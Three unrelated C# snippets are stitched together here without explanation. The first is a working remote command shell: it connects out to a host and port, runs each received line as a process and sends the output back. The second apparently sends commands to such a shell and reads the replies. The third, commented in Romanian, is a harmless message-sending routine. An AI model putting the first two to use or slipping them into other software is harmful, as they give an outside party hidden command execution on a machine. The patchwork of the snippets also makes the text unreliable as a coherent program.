public static void Main(string[] args) { Stream stream = new TcpClient (args [0], int.Parse (args [1])).GetStream (); using (StreamReader rdr = new StreamReader(stream)) { while (stream.CanRead) { string cmd = rdr.ReadLine(); string filename = string.Empty; string arg = string.Empty; if (cmd.IndexOf(' ') > 0) { filename = cmd.Substring(0, cmd.IndexOf(' ')); arg = cmd.Substring(cmd.IndexOf(' '), cmd.Length - filename.Length); } else { filename = cmd; } Process prc = new Process(); prc.StartInfo = new ProcessStartInfo(); prc.StartInfo.FileName = filename; prc.StartInfo.Arguments = arg; prc.StartInfo.UseShellExecute = false; prc.StartInfo.RedirectStandardOutput = true; prc.Start(); prc.WaitForExit(); byte[] results = Encoding.ASCII.GetBytes(prc.StandardOutput.ReadToEnd()); stream.Write(results, 0, results.Length); } } }
public string Execute(string command) { string resp = string.Empty; using (NetworkStream stream = new TcpClient(_host, _port).GetStream()) { byte[] data = System.Text.Encoding.ASCII.GetBytes(command); stream.Write(data, 0, data.Length); using (StreamReader rdr = new StreamReader(stream)) resp = rdr.ReadToEnd(); } return resp; }
/// <summary> /// Trimite mesajul către adresa menţionată şi returnează răspunsul. /// </summary> /// <param name="to">Adresa spre care să trimită mesajul</param> /// <returns>Mesajul răspuns primit înapoi</returns> public Message deliverAndWaitFeedback(Address to) { try { byte[] stream = this.serialize(); NetworkStream netStream = new TcpClient(to.ip, to.port).GetStream(); netStream.Write(stream, 0, stream.Length); netStream.Flush(); Message answer = new Message(netStream); netStream.Close(); return answer; } catch (Exception) { return null; } }